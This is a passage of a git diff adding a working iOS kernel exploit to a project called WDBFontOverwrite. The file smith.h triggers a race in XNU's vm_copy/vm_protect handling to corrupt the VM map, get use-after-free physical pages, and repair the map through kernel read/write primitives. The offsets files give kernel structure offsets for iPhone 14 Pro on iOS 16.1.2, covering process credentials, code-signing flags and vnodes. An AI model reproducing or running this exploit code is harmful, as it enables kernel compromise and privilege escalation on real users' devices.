file mode 100644 index 0000000..5b77046 --- /dev/null +++ b/WDBFontOverwrite/libkfd/puaf/smith.h @@ -0,0 +1,608 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef smith_h +#define smith_h + +/* + * This boolean parameter determines whether the vm_map_lock() is taken from + * another thread before attempting to clean up the VM map in the main thread. + */ +const bool take_vm_map_lock = true; + +// Forward declarations for helper functions. +void smith_helper_init(struct kfd* kfd); +void* smith_helper_spinner_pthread(void* arg); +void* smith_helper_cleanup_pthread(void* arg); +void smith_helper_cleanup(struct kfd* kfd); + +/* + * This structure is allocated once in smith_init() and contains all the data + * needed/shared across multiple functions for the PUAF part of the exploit. + */ +struct smith_data { + atomic_bool main_thread_returned; + atomic_int started_spinner_pthreads; + struct { + vm_address_t address; + vm_size_t size; + } vme[5]; + struct { + pthread_t pthread; + atomic_bool should_start; + atomic_bool did_start; + atomic_uintptr_t kaddr; + atomic_uintptr_t right; + atomic_uintptr_t max_address; + } cleanup_vme; +}; + +/* + * This function is responsible for the following: + * 1. Allocate the singleton "smith_data" structure. See the comment above the + * smith_data structure for more info. + * 2. Call smith_helper_init() which is responsible to initialize everything + * needed for the PUAF part of the exploit. See the comment above + * smith_helper_init() for more info. + */ +void smith_init(struct kfd* kfd) +{ + kfd->puaf.puaf_method_data_size = sizeof(struct smith_data); + kfd->puaf.puaf_method_data = malloc_bzero(kfd->puaf.puaf_method_data_size); + + smith_helper_init(kfd); +} + +/* + * This function is responsible to run the bulk of the work, from triggering the + * initial vulnerability to achieving a PUAF on an arbitrary number of pages. + * It is described in detail in the write-up, with a figure illustrating the + * relevant kernel state after each step. + */ +void smith_run(struct kfd* kfd) +{ + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + + /* + * STEP 1: + */ + assert_mach(vm_allocate(mach_task_self(), &smith->vme[2].address, smith->vme[2].size, VM_FLAGS_FIXED)); + assert_mach(vm_allocate(mach_task_self(), &smith->vme[1].address, smith->vme[1].size, VM_FLAGS_FIXED)); + assert_mach(vm_allocate(mach_task_self(), &smith->vme[0].address, smith->vme[0].size, VM_FLAGS_FIXED)); + assert_mach(vm_allocate(mach_task_self(), &smith->vme[3].address, smith->vme[3].size, VM_FLAGS_FIXED | VM_FLAGS_PURGABLE)); + assert_mach(vm_allocate(mach_task_self(), &smith->vme[4].address, smith->vme[4].size, VM_FLAGS_FIXED | VM_FLAGS_PURGABLE)); + + /* + * STEP 2: + * + * Note that vm_copy() in the main thread corresponds to substep 2A in the write-up + * and vm_protect() in the spawned threads corresponds to substep 2B. + */ + const u64 number_of_spinner_pthreads = 4; + pthread_t spinner_pthreads[number_of_spinner_pthreads] = {}; + + for (u64 i = 0; i < number_of_spinner_pthreads; i++) { + assert_bsd(pthread_create(&spinner_pthreads[i], NULL, smith_helper_spinner_pthread, kfd)); + } + + while (atomic_load(&smith->started_spinner_pthreads) != number_of_spinner_pthreads) { + usleep(10); + } + + assert(vm_copy(mach_task_self(), smith->vme[2].address, (0ull - smith->vme[2].address - 1), 0) == KERN_PROTECTION_FAILURE); + atomic_store(&smith->main_thread_returned, true); + + for (u64 i = 0; i < number_of_spinner_pthreads; i++) { + /* + * I am not sure if joining the spinner threads here will cause the + * deallocation of their stack in the VM map. I have never ran into + * panics because of this, but it is something to keep in mind. + * Otherwise, if it becomes a problem, we can simply make those spinner + * threads sleep in a loop until the main thread sends them a signal + * that the cleanup is finished. + */ + assert_bsd(pthread_join(spinner_pthreads[i], NULL)); + } + + /* + * STEP 3: + */ + assert_mach(vm_copy(mach_task_self(), smith->vme[3].address, smith->vme[3].size, smith->vme[1].address)); + memset((void*)(smith->vme[1].address), 'A', smith->vme[1].size); + + /* + * STEP 4: + */ + assert_mach(vm_protect(mach_task_self(), smith->vme[1].address, smith->vme[3].size, false, VM_PROT_DEFAULT)); + + /* + * STEP 5: + */ + assert_mach(vm_copy(mach_task_self(), smith->vme[4].address, smith->vme[4].size, smith->vme[0].address)); + + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + kfd->puaf.puaf_pages_uaddr[i] = smith->vme[1].address + pages(i); + } +} + +/* + * This function is responsible for the following: + * 1. Call smith_helper_cleanup() which is responsible to patch up the corrupted + * state of our VM map. Technically, this is the only thing that is required + * to get back to a safe state, which means there is no more risk of a kernel + * panic if the process exits or performs any VM operation. + * 2. Deallocate the unused virtual memory that we allocated in step 1 of + * smith_run(). In other words, we call vm_deallocate() for the VA range + * covered by those 5 map entries (i.e. vme0 to vme4 in the write-up), except + * for the two pages used by the kread/kwrite primitive. This step is not + * required for "panic-safety". + */ +void smith_cleanup(struct kfd* kfd) +{ + smith_helper_cleanup(kfd); + + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + u64 min_puaf_page_uaddr = min(kread_page_uaddr, kwrite_page_uaddr); + u64 max_puaf_page_uaddr = max(kread_page_uaddr, kwrite_page_uaddr); + + vm_address_t address1 = smith->vme[0].address; + vm_size_t size1 = smith->vme[0].size + (min_puaf_page_uaddr - smith->vme[1].address); + assert_mach(vm_deallocate(mach_task_self(), address1, size1)); + + vm_address_t address2 = max_puaf_page_uaddr + pages(1); + vm_size_t size2 = (smith->vme[2].address - address2) + smith->vme[2].size + smith->vme[3].size + smith->vme[4].size; + assert_mach(vm_deallocate(mach_task_self(), address2, size2)); + + /* + * No middle block if the kread and kwrite pages are the same or back-to-back. + */ + if ((max_puaf_page_uaddr - min_puaf_page_uaddr) > pages(1)) { + vm_address_t address3 = min_puaf_page_uaddr + pages(1); + vm_size_t size3 = (max_puaf_page_uaddr - address3); + assert_mach(vm_deallocate(mach_task_self(), address3, size3)); + } +} + +/* + * This function is responsible to deallocate the virtual memory for the two + * pages used by the kread/kwrite primitive, i.e. the two pages that we did not + * deallocate during smith_cleanup(). Once again, this step is not required for + * "panic-safety". It can be called either if the kread/kwrite primitives no + * longer rely on kernel objects that are controlled through the PUAF primitive, + * or if we want to completely tear down the exploit. + */ +void smith_free(struct kfd* kfd) +{ + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr, pages(1))); + if (kwrite_page_uaddr != kread_page_uaddr) { + assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr, pages(1))); + } +} + +/* + * This function is responsible for the following: + * 1. If the constant "target_hole_size" is non-zero, it will allocate every + * hole in our VM map starting at its min_offset, until we find a hole at + * least as big as that value (e.g. 10k pages). The reason for that is that + * we will corrupt the hole list when we trigger the vulnerability in + * smith_run(), such that only the first hole is safe to allocate from. This + * is exactly what happens during a typical call to vm_allocate() with + * VM_FLAGS_ANYWHERE. That said, many other VM operations that modify our map + * entries or our hole list could cause a kernel panic. So, if it is possible + * at all, it is much safer to suspend all other threads running in the target + * process (e.g. WebContent). In that case, since we would control the only + * running threads during the critical section, we could guarantee that no + * unsafe VM operations will happen and "target_hole_size" can be set to 0. + * 2. We need to find the VA range from which we will allocate our 5 map entries + * in smith_run() during step 1 (i.e. vme0 to vme4 in the write-up). Those 5 + * map entries will cover (3X+5) pages, where X is the desired number of + * PUAF pages. For reasons that are explained in the write-up, we want to + * allocate them towards the end of our VM map. Therefore, we find the last + * hole that is big enough to hold our 5 map entries. + */ +void smith_helper_init(struct kfd* kfd) +{ + const u64 target_hole_size = pages(0); + bool found_target_hole = false; + + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + smith->vme[0].size = pages(1); + smith->vme[1].size = pages(kfd->puaf.number_of_puaf_pages); + smith->vme[2].size = pages(1); + smith->vme[3].size = (smith->vme[1].size + smith->vme[2].size); + smith->vme[4].size = (smith->vme[0].size + smith->vme[3].size); + u64 smith_total_size = (smith->vme[3].size + smith->vme[4].size + smith->vme[4].size); + + u64 min_address, max_address; + puaf_helper_get_vm_map_min_and_max(&min_address, &max_address); + + /* + * If the boolean parameter "take_vm_map_lock" is turned on, we spawn the + * thread running smith_helper_cleanup_pthread() right here. Please see the + * comment above smith_helper_cleanup_pthread() for more info. + */ + if (take_vm_map_lock) { + atomic_store(&smith->cleanup_vme.max_address, max_address); + assert_bsd(pthread_create(&smith->cleanup_vme.pthread, NULL, smith_helper_cleanup_pthread, kfd)); + } + + vm_address_t address = 0; + vm_size_t size = 0; + vm_region_basic_info_data_64_t data = {}; + vm_region_info_t info = (vm_region_info_t)(&data); + mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64; + mach_port_t port = MACH_PORT_NULL; + + vm_address_t vme0_address = 0; + vm_address_t prev_vme_end = 0; + + while (true) { + kern_return_t kret = vm_region_64(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO_64, info, &count, &port); + if ((kret == KERN_INVALID_ADDRESS) || (address >= max_address)) { + if (found_target_hole) { + vm_size_t last_hole_size = max_address - prev_vme_end; + /* + * If "target_hole_size" is zero, we could instead simply set + * "vme0_address" to (map->max_offset - smith_total_size), + * after making sure that this VA range is not already mapped. + */ + if (last_hole_size >= (smith_total_size + pages(1))) { + vme0_address = (max_address - smith_total_size); + } + } + + break; + } + + assert(kret == KERN_SUCCESS); + + /* + * Quick hack: pre-fault code pages to avoid faults during the critical section. + */ + if (data.protection & VM_PROT_EXECUTE) { + for (u64 page_address = address; page_address < address + size; page_address += pages(1)) { + u64 tmp_value = *(volatile u64*)(page_address); + } + } + + vm_address_t hole_address = prev_vme_end; + vm_size_t hole_size = address - prev_vme_end; + + if (prev_vme_end < min_address) { + goto next_vm_region; + } + + if (found_target_hole) { + if (hole_size >= (smith_total_size + pages(1))) { + vme0_address = (address - smith_total_size); + } + } else { + if (hole_size >= target_hole_size) { + found_target_hole = true; + } else if (hole_size > 0) { + assert_mach(vm_allocate(mach_task_self(), &hole_address, hole_size, VM_FLAGS_FIXED)); + } + } + +next_vm_region: + address += size; + size = 0; + prev_vme_end = address; + } + + assert(found_target_hole); + + smith->vme[0].address = vme0_address; + smith->vme[1].address = smith->vme[0].address + smith->vme[0].size; + smith->vme[2].address = smith->vme[1].address + smith->vme[1].size; + smith->vme[3].address = smith->vme[2].address + smith->vme[2].size; + smith->vme[4].address = smith->vme[3].address + smith->vme[3].size; +} + +/* + * This function is ran by 4 spinner threads spawned from smith_run() in step 2. + * It simply attempts to change the protection of virtual page zero to + * VM_PROT_WRITE in a busy-loop, which will return KERN_INVALID_ADDRESS until + * the main thread triggers the bad clip in vm_map_copyin_internal(). At that + * point, vm_protect() will return KERN_SUCCESS. Finally, once the main thread + * returns from vm_copy(), it will set "main_thread_returned" to true in order + * to signal all 4 spinner threads to exit. + */ +void* smith_helper_spinner_pthread(void* arg) +{ + struct kfd* kfd = (struct kfd*)(arg); + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + + atomic_fetch_add(&smith->started_spinner_pthreads, 1); + + while (!atomic_load(&smith->main_thread_returned)) { + kern_return_t kret = vm_protect(mach_task_self(), 0, pages(1), false, VM_PROT_WRITE); + assert((kret == KERN_SUCCESS) || (kret == KERN_INVALID_ADDRESS)); + } + + return NULL; +} + +/* + * This function is only ran from a thread spawned in smith_helper_init() if the + * boolean parameter "take_vm_map_lock" is turned on. The reason why it is + * spawned that early, instead of at the beginning of smith_helper_cleanup(), is + * that pthread creation will allocate virtual memory for its stack, which might + * cause a kernel panic because we have not patched the corrupted VM map state + * yet. It sleeps for 1 ms in a loop until the main thread sets + * "cleanup_vme.should_start" to true to signal this thread to start the + * procedure to take the vm_map_lock(). It does so by patching the right child + * of a map entry to point back to itself, then it sets "cleanup_vme.did_start" + * to true to signal the main thread to start patching the state, and finally it + * calls vm_protect(), which will take the vm_map_lock() indefinitely while + * vm_map_lookup_entry() spins on the right child. Once the main thread has + * finished patching up the state, it will restore the right child to its + * original value, which will cause vm_protect() to return and this pthread to + * exit. + */ +void* smith_helper_cleanup_pthread(void* arg) +{ + struct kfd* kfd = (struct kfd*)(arg); + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + vm_address_t max_address = atomic_load(&smith->cleanup_vme.max_address); + vm_address_t cleanup_vme_end = 0; + + while (!atomic_load(&smith->cleanup_vme.should_start)) { + usleep(1000); + } + + do { + /* + * Find the last entry with vme_end smaller than the map's max_offset, + * with a right child that is not null, but not the entry we are going to leak. + */ + u64 map_kaddr = kfd->info.kaddr.current_map; + u64 entry_kaddr = kget_u64(_vm_map__hdr__links__prev, map_kaddr); + + while (true) { + u64 entry_prev = kget_u64(vm_map_entry__links__prev, entry_kaddr); + u64 entry_start = kget_u64(vm_map_entry__links__start, entry_kaddr); + u64 entry_end = kget_u64(vm_map_entry__links__end, entry_kaddr); + u64 entry_right = kget_u64(vm_map_entry__store__entry__rbe_right, entry_kaddr); + + if ((entry_end < max_address) && (entry_right != 0) && (entry_start != 0)) { + /* + * Patch the entry to have its right child point to itself. + */ + atomic_store(&smith->cleanup_vme.kaddr, entry_kaddr); + atomic_store(&smith->cleanup_vme.right, entry_right); + u64 store_kaddr = entry_kaddr + kfd_offset(vm_map_entry__store__entry__rbe_left); + kset_u64(vm_map_entry__store__entry__rbe_right, store_kaddr, entry_kaddr); + cleanup_vme_end = entry_end; + break; + } + + entry_kaddr = entry_prev; + } + } while (0); + + atomic_store(&smith->cleanup_vme.did_start, true); + vm_protect(mach_task_self(), cleanup_vme_end, pages(1), false, VM_PROT_ALL); + return NULL; +} + +#define vme_for_store(kaddr) ((kaddr) ? (((kaddr) - kfd_offset(vm_map_entry__store__entry__rbe_left)) & (~1ull)) : (kaddr)) + +/* + * This function is responsible to patch the corrupted state of our VM map. If + * the boolean parameter "take_vm_map_lock" is turned on, please see the comment + * above smith_helper_cleanup_pthread() for more info. Otherwise, the rest of + * the function simply uses the kread primitive to scan the doubly-linked list + * of map entries as well as the hole list, and the kwrite primitive to patch it + * up. This procedure is explained in detail in part C of the write-up. + */ +void smith_helper_cleanup(struct kfd* kfd) +{ + assert(kfd->info.kaddr.current_map); + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + + if (take_vm_map_lock) { + atomic_store(&smith->cleanup_vme.should_start, true); + while (!atomic_load(&smith->cleanup_vme.did_start)) { + usleep(10); + } + + /* + * Sleep an extra 100 us to make sure smith_helper_cleanup_pthread() + * had the time to take the vm_map_lock(). + */ + usleep(100); + } + + u64 map_kaddr = kfd->info.kaddr.current_map; + + do { + /* + * Scan map entries: we use the kread primitive to loop through every + * map entries in our VM map, and record the information that we need to + * patch things up below. There are some assertions along the way to + * make sure the state of the VM map is corrupted as expected. + */ + u64 entry_count = 0; + u64 entry_kaddr = kget_u64(_vm_map__hdr__links__next, map_kaddr); + u64 map_entry_kaddr = map_kaddr + kfd_offset(_vm_map__hdr__links__prev); + u64 first_vme_kaddr = 0; + u64 first_vme_parent_store = 0; + u64 second_vme_kaddr = 0; + u64 second_vme_left_store = 0; + u64 vme_end0_kaddr = 0; + u64 vme_end0_start = 0; + u64 leaked_entry_right_store = 0; + u64 leaked_entry_parent_store = 0; + u64 leaked_entry_prev = 0; + u64 leaked_entry_next = 0; + u64 leaked_entry_end = 0; + + while (entry_kaddr != map_entry_kaddr) { + entry_count++; + u64 entry_next = kget_u64(vm_map_entry__links__next, entry_kaddr); + u64 entry_start = kget_u64(vm_map_entry__links__start, entry_kaddr); + u64 entry_end = kget_u64(vm_map_entry__links__end, entry_kaddr); + + if (entry_count == 1) { + first_vme_kaddr = entry_kaddr; + first_vme_parent_store = kget_u64(vm_map_entry__store__entry__rbe_parent, entry_kaddr); + u64 first_vme_left_store = kget_u64(vm_map_entry__store__entry__rbe_left, entry_kaddr); + u64 first_vme_right_store = kget_u64(vm_map_entry__store__entry__rbe_right, entry_kaddr); + assert(first_vme_left_store == 0); + assert(first_vme_right_store == 0); + } else if (entry_count == 2) { + second_vme_kaddr = entry_kaddr; + second_vme_left_store = kget_u64(vm_map_entry__store__entry__rbe_left, entry_kaddr); + } else if (entry_end == 0) { + vme_end0_kaddr = entry_kaddr; + vme_end0_start = entry_start; + assert(vme_end0_start == smith->vme[1].address); + } else if (entry_start == 0) { + assert(entry_kaddr == vme_for_store(first_vme_parent_store)); + assert(entry_kaddr == vme_for_store(second_vme_left_store)); + u64 leaked_entry_left_store = kget_u64(vm_map_entry__store__entry__rbe_left, entry_kaddr); + leaked_entry_right_store = kget_u64(vm_map_entry__store__entry__rbe_right, entry_kaddr); + leaked_entry_parent_store = kget_u64(vm_map_entry__store__entry__rbe_parent, entry_kaddr); + assert(leaked_entry_left_store == 0); + assert(vme_for_store(leaked_entry_right_store) == first_vme_kaddr); + assert(vme_for_store(leaked_entry_parent_store) == second_vme_kaddr); + leaked_entry_prev = kget_u64(vm_map_entry__links__prev, entry_kaddr); + leaked_entry_next = entry_next; + leaked_entry_end = entry_end; + assert(leaked_entry_end == smith->vme[3].address); + } + + entry_kaddr = entry_next; + } + + /* + * Patch the doubly-linked list. + * + * We leak "vme2b" from the doubly-linked list, as explained in the write-up. + */ + kset_u64(vm_map_entry__links__next, leaked_entry_next, leaked_entry_prev); + kset_u64(vm_map_entry__links__prev, leaked_entry_prev, leaked_entry_next); + + /* + * Patch "vme2->vme_end". + * + * The kwrite() call is just a workaround if the kwrite primitive cannot + * overwrite 0. Otherwise, the first 4 lines can be omitted. + */ + u64 vme_end0_start_and_next[2] = { vme_end0_start, (-1) }; + u64 unaligned_kaddr = vme_end0_kaddr + kfd_offset(vm_map_entry__links__start) + 1; + u64 unaligned_uaddr = (u64)(&vme_end0_start_and_next) + 1; + kwrite((u64)(kfd), (void*)(unaligned_uaddr), unaligned_kaddr, sizeof(u64)); + kset_u64(vm_map_entry__links__end, leaked_entry_end, vme_end0_kaddr); + + /* + * Patch the red-black tree. + * + * We leak "vme2b" from the red-black tree, as explained in the write-up. + */ + kset_u64(vm_map_entry__store__entry__rbe_parent, leaked_entry_parent_store, vme_for_store(leaked_entry_right_store)); + kset_u64(vm_map_entry__store__entry__rbe_left, leaked_entry_right_store, vme_for_store(leaked_entry_parent_store)); + + /* + * Patch map->hdr.nentries. + * + * I believe this is not strictly necessary to prevent a kernel panic + * when the process exits, but I like to patch it just in case. + */ + u64 nentries_buffer = kget_u64(_vm_map__hdr__nentries, map_kaddr); + i32 old_nentries = *(i32*)(&nentries_buffer); + print_u32(old_nentries); + *(i32*)(&nentries_buffer) = (old_nentries - 1); + kset_u64(_vm_map__hdr__nentries, nentries_buffer, map_kaddr); + + /* + * Patch map->hint. + * + * We set map->hint to point to vm_map_to_entry(map), which effectively + * means there is no valid hint. + */ + kset_u64(_vm_map__hint, map_entry_kaddr, map_kaddr); + } while (0); + + do { + /* + * Scan hole list: we use the kread primitive to loop through every hole + * entry in our VM map's hole list, and record the information that we + * need to patch things up below. Once again, there are some assertions + * along the way to make sure the state is corrupted as expected. + */ + u64 hole_count = 0; + u64 hole_kaddr = kget_u64(_vm_map__holes_list, map_kaddr); + u64 first_hole_kaddr = hole_kaddr; + u64 prev_hole_end = 0; + u64 first_leaked_hole_prev = 0; + u64 first_leaked_hole_next = 0; + u64 first_leaked_hole_end = 0; + u64 second_leaked_hole_prev = 0; + u64 second_leaked_hole_next = 0; + + while (true) { + hole_count++; + u64 hole_next = kget_u64(vm_map_entry__links__next, hole_kaddr); + u64 hole_start = kget_u64(vm_map_entry__links__start, hole_kaddr); + u64 hole_end = kget_u64(vm_map_entry__links__end, hole_kaddr); + + if (hole_start == 0) { + first_leaked_hole_prev = kget_u64(vm_map_entry__links__prev, hole_kaddr); + first_leaked_hole_next = hole_next; + first_leaked_hole_end = hole_end; + assert(prev_hole_end == smith->vme[1].address); + } else if (hole_start == smith->vme[1].address) { + second_leaked_hole_prev = kget_u64(vm_map_entry__links__prev, hole_kaddr); + second_leaked_hole_next = hole_next; + assert(hole_end == smith->vme[2].address); + } + + hole_kaddr = hole_next; + prev_hole_end = hole_end; + if (hole_kaddr == first_hole_kaddr) { + break; + } + } + + /* + * Patch the hole entries. + * + * We patch the end address of the first hole and we leak the two extra + * holes, as explained in the write-up. + */ + kset_u64(vm_map_entry__links__end, first_leaked_hole_end, first_leaked_hole_prev); + kset_u64(vm_map_entry__links__next, first_leaked_hole_next, first_leaked_hole_prev); + kset_u64(vm_map_entry__links__prev, first_leaked_hole_prev, first_leaked_hole_next); + kset_u64(vm_map_entry__links__next, second_leaked_hole_next, second_leaked_hole_prev); + kset_u64(vm_map_entry__links__prev, second_leaked_hole_prev, second_leaked_hole_next); + + /* + * Patch map->hole_hint. + * + * We set map->hole_hint to point to the first hole, which is guaranteed + * to not be one of the two holes that we just leaked. + */ + kset_u64(_vm_map__hole_hint, first_hole_kaddr, map_kaddr); + } while (0); + + if (take_vm_map_lock) { + /* + * Restore the entry to have its right child point to its original value. + */ + u64 entry_kaddr = atomic_load(&smith->cleanup_vme.kaddr); + u64 entry_right = atomic_load(&smith->cleanup_vme.right); + kset_u64(vm_map_entry__store__entry__rbe_right, entry_right, entry_kaddr); + assert_bsd(pthread_join(smith->cleanup_vme.pthread, NULL)); + } +} + +#endif /* smith_h */ diff --git a/WDBFontOverwrite/offsets.h b/WDBFontOverwrite/offsets.h new file mode 100644 index 0000000..e52f2d0 --- /dev/null +++ b/WDBFontOverwrite/offsets.h @@ -0,0 +1,68 @@ +// +// offsets.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +extern uint32_t off_p_list_le_prev; +extern uint32_t off_p_proc_ro; +extern uint32_t off_p_ppid; +extern uint32_t off_p_original_ppid; +extern uint32_t off_p_pgrpid; +extern uint32_t off_p_uid; +extern uint32_t off_p_gid; +extern uint32_t off_p_ruid; +extern uint32_t off_p_rgid; +extern uint32_t off_p_svuid; +extern uint32_t off_p_svgid; +extern uint32_t off_p_sessionid; +extern uint32_t off_p_puniqueid; +extern uint32_t off_p_pid; +extern uint32_t off_p_pfd; +extern uint32_t off_p_textvp; +extern uint32_t off_p_name; +extern uint32_t off_p_ro_p_csflags; +extern uint32_t off_p_ro_p_ucred; +extern uint32_t off_p_ro_pr_proc; +extern uint32_t off_p_ro_pr_task; +extern uint32_t off_p_ro_t_flags_ro; +extern uint32_t off_u_cr_label; +extern uint32_t off_u_cr_posix; +extern uint32_t off_cr_uid; +extern uint32_t off_cr_ruid; +extern uint32_t off_cr_svuid; +extern uint32_t off_cr_ngroups; +extern uint32_t off_cr_groups; +extern uint32_t off_cr_rgid; +extern uint32_t off_cr_svgid; +extern uint32_t off_cr_gmuid; +extern uint32_t off_cr_flags; +extern uint32_t off_task_t_flags; +extern uint32_t off_fd_ofiles; +extern uint32_t off_fp_glob; +extern uint32_t off_fg_data; +extern uint32_t off_fg_flag; +extern uint32_t off_vnode_v_iocount; +extern uint32_t off_vnode_v_usecount; +extern uint32_t off_vnode_v_flag; +extern uint32_t off_vnode_v_name; +extern uint32_t off_vnode_v_mount; +extern uint32_t off_vnode_v_data; +extern uint32_t off_vnode_v_kusecount; +extern uint32_t off_vnode_v_references; +extern uint32_t off_vnode_v_parent; +extern uint32_t off_vnode_v_label; +extern uint32_t off_vnode_v_cred; +extern uint32_t off_vnode_v_writecount; +extern uint32_t off_vnode_v_type; +extern uint32_t off_mount_mnt_data; +extern uint32_t off_mount_mnt_fsowner; +extern uint32_t off_mount_mnt_fsgroup; +extern uint32_t off_mount_mnt_devvp; +extern uint32_t off_mount_mnt_flag; +extern uint32_t off_specinfo_si_flags; + +void _offsets_init(void); diff --git a/WDBFontOverwrite/offsets.m b/WDBFontOverwrite/offsets.m new file mode 100644 index 0000000..c9623e4 --- /dev/null +++ b/WDBFontOverwrite/offsets.m @@ -0,0 +1,161 @@ +// +// offsets.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "offsets.h" +#include +#include + +uint32_t off_p_list_le_prev = 0; +uint32_t off_p_proc_ro = 0; +uint32_t off_p_ppid = 0; +uint32_t off_p_original_ppid = 0; +uint32_t off_p_pgrpid = 0; +uint32_t off_p_uid = 0; +uint32_t off_p_gid = 0; +uint32_t off_p_ruid = 0; +uint32_t off_p_rgid = 0; +uint32_t off_p_svuid = 0; +uint32_t off_p_svgid = 0; +uint32_t off_p_sessionid = 0; +uint32_t off_p_puniqueid = 0; +uint32_t off_p_pid = 0; +uint32_t off_p_pfd = 0; +uint32_t off_p_textvp = 0; +uint32_t off_p_name = 0; +uint32_t off_p_ro_p_csflags = 0; +uint32_t off_p_ro_p_ucred = 0; +uint32_t off_p_ro_pr_proc = 0; +uint32_t off_p_ro_pr_task = 0; +uint32_t off_p_ro_t_flags_ro = 0; +uint32_t off_u_cr_label = 0; +uint32_t off_u_cr_posix = 0; +uint32_t off_cr_uid = 0; +uint32_t off_cr_ruid = 0; +uint32_t off_cr_svuid = 0; +uint32_t off_cr_ngroups = 0; +uint32_t off_cr_groups = 0; +uint32_t off_cr_rgid = 0; +uint32_t off_cr_svgid = 0; +uint32_t off_cr_gmuid = 0; +uint32_t off_cr_flags = 0; +uint32_t off_task_t_flags = 0; +uint32_t off_fd_ofiles = 0; +uint32_t off_fp_glob = 0; +uint32_t off_fg_data = 0; +uint32_t off_fg_flag = 0; +uint32_t off_vnode_v_iocount = 0; +uint32_t off_vnode_v_usecount = 0; +uint32_t off_vnode_v_flag = 0; +uint32_t off_vnode_v_name = 0; +uint32_t off_vnode_v_mount = 0; +uint32_t off_vnode_v_data = 0; +uint32_t off_vnode_v_kusecount = 0; +uint32_t off_vnode_v_references = 0; +uint32_t off_vnode_v_parent = 0; +uint32_t off_vnode_v_label = 0; +uint32_t off_vnode_v_cred = 0; +uint32_t off_vnode_v_writecount = 0; +uint32_t off_vnode_v_type = 0; +uint32_t off_mount_mnt_data = 0; +uint32_t off_mount_mnt_fsowner = 0; +uint32_t off_mount_mnt_fsgroup = 0; +uint32_t off_mount_mnt_devvp = 0; +uint32_t off_mount_mnt_flag = 0; +uint32_t off_specinfo_si_flags = 0; + +#define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) + +void _offsets_init(void) { +// if (SYSTEM_VERSION_EQUAL_TO(@"16.1.2")) { +// printf("[i] offsets selected for iOS 16.1.2\n"); + //iPhone 14 Pro 16.1.2 offsets + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_internal.h#L273 + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/queue.h#L487 + off_p_list_le_prev = 0x8; + off_p_proc_ro = 0x18; + off_p_ppid = 0x20; + off_p_original_ppid = 0x24; + off_p_pgrpid = 0x28; + off_p_uid = 0x2c; + off_p_gid = 0x30; + off_p_ruid = 0x34; + off_p_rgid = 0x38; + off_p_svuid = 0x3c; + off_p_svgid = 0x40; + off_p_sessionid = 0x44; + off_p_puniqueid = 0x48; + off_p_pid = 0x60; + off_p_pfd = 0xf8; + off_p_textvp = 0x350; + off_p_name = 0x381; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_ro.h#L59 + off_p_ro_p_csflags = 0x1c; + off_p_ro_p_ucred = 0x20; + off_p_ro_pr_proc = 0; + off_p_ro_pr_task = 0x8; + off_p_ro_t_flags_ro = 0x78; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L91 + off_u_cr_label = 0x78; + off_u_cr_posix = 0x18; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L100 + off_cr_uid = 0; + off_cr_ruid = 0x4; + off_cr_svuid = 0x8; + off_cr_ngroups = 0xc; + off_cr_groups = 0x10; + off_cr_rgid = 0x50; + off_cr_svgid = 0x54; + off_cr_gmuid = 0x58; + off_cr_flags = 0x5c; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/kern/task.h#L280 + off_task_t_flags = 0x3D0; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/filedesc.h#L138 + off_fd_ofiles = 0; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L125 + off_fp_glob = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L179 + off_fg_data = 0x38; + off_fg_flag = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L158 + off_vnode_v_iocount = 0x64; + off_vnode_v_usecount = 0x60; + off_vnode_v_flag = 0x54; + off_vnode_v_name = 0xb8; + off_vnode_v_mount = 0xd8; + off_vnode_v_data = 0xe0; + off_vnode_v_kusecount = 0x5c; + off_vnode_v_references = 0x5b; + off_vnode_v_parent = 0xc0; + off_vnode_v_label = 0xe8; + off_vnode_v_cred = 0x98; + off_vnode_v_writecount = 0xb0; + off_vnode_v_type = 0x70; + + //https://github.com/apple-oss-distributions/xnu/blob/main/bsd/sys/mount_internal.h#L108 + off_mount_mnt_data = 0x11F; + off_mount_mnt_fsowner = 0x9c0; + off_mount_mnt_fsgroup = 0x9c4; + off_mount_mnt_devvp = 0x980; + off_mount_mnt_flag = 0x70; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/miscfs/specfs/specdev.h#L77 + off_specinfo_si_flags = 0x10; + +// } else { +// printf("[-] No matching offsets.\n"); +// exit(EXIT_FAILURE); + } +//} diff --git 